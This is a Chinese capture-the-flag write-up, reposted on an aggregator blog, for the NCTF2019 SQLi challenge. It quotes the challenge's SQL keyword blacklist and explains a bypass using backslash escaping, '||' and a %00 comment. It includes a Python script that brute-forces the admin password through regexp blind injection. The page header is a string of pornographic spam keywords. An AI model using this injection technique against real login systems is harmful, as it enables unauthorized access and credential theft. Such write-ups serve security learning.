日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 人文社科 > 生活经验 >内容正文

生活经验

php sql中regexp,[NCTF2019]SQLi(regexp注入)

發布時間:2023/11/27 生活经验 32 豆豆
生活随笔 收集整理的這篇文章主要介紹了 php sql中regexp,[NCTF2019]SQLi(regexp注入) 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

主頁就一個登錄框 。把sql語句顯示出來了。

再進行一波信息搜集。看看robots.txt

有個hint.txt

$black_list = "/limit|by|substr|mid|,|admin|benchmark|like|or|char|union|substring|select|greatest|%00|\'|=| |in||-|\.|\(\)|#|and|if|database|users|where|table|concat|insert|join|having|sleep/i";

If $_POST['passwd'] === admin's password,

Then you will get the flag;

拿到flag的條件是post的密碼要等于admin密碼。并沒有對用戶名做限制

過濾了很多字符串。這里select字段被過濾了。但是沒關系。mysql同一張表中的字段不需要select即可查詢。這里只能用盲注。盲注還分時間盲注等。這里regexp即可繞過過濾

在Mysql種%00也是注釋符。但是前面必須得加;

此時執行的sql語句為

select * from users where username='\' and passwd='||1;%00'

#where username='xxxx'||1

條件為真時。就會跳轉。

條件為假時。就會回到登陸頁

我們可以通過regexp來一位位判斷密碼

由于數據庫中密碼數據比較多。所以存在很多的密碼

得一個個試。有那么多條數據。

最后y(79)開頭的那條數據。比較特殊。開頭三位是you

寫個腳本爆破下這條數據

import requests

from urllib import parse

import string

import time

str1 = string.ascii_letters+'_'+string.digits

url='http://9d86404e-b5c0-41ff-b8ef-f9bbf6da8e8c.node3.buuoj.cn/index.php'

flag='79'

a=parse.unquote('%00')

for i in range(50):

for i in str1:

data={"username":"\\",

"passwd":"||passwd/**/regexp/**/0x"+flag+hex(ord(i)).replace('0x','')+";"+a

}

r=requests.post(url=url,data=data)

if 'welcome.php' in r.text:

flag+=hex(ord(i)).replace('0x','')

print(flag)

break

time.sleep(0.5)

#防止429

用戶名隨意。密碼填跑出來的密碼。

因為flag條件為POST密碼==admin密碼即可。

總結

以上是生活随笔為你收集整理的php sql中regexp,[NCTF2019]SQLi(regexp注入)的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。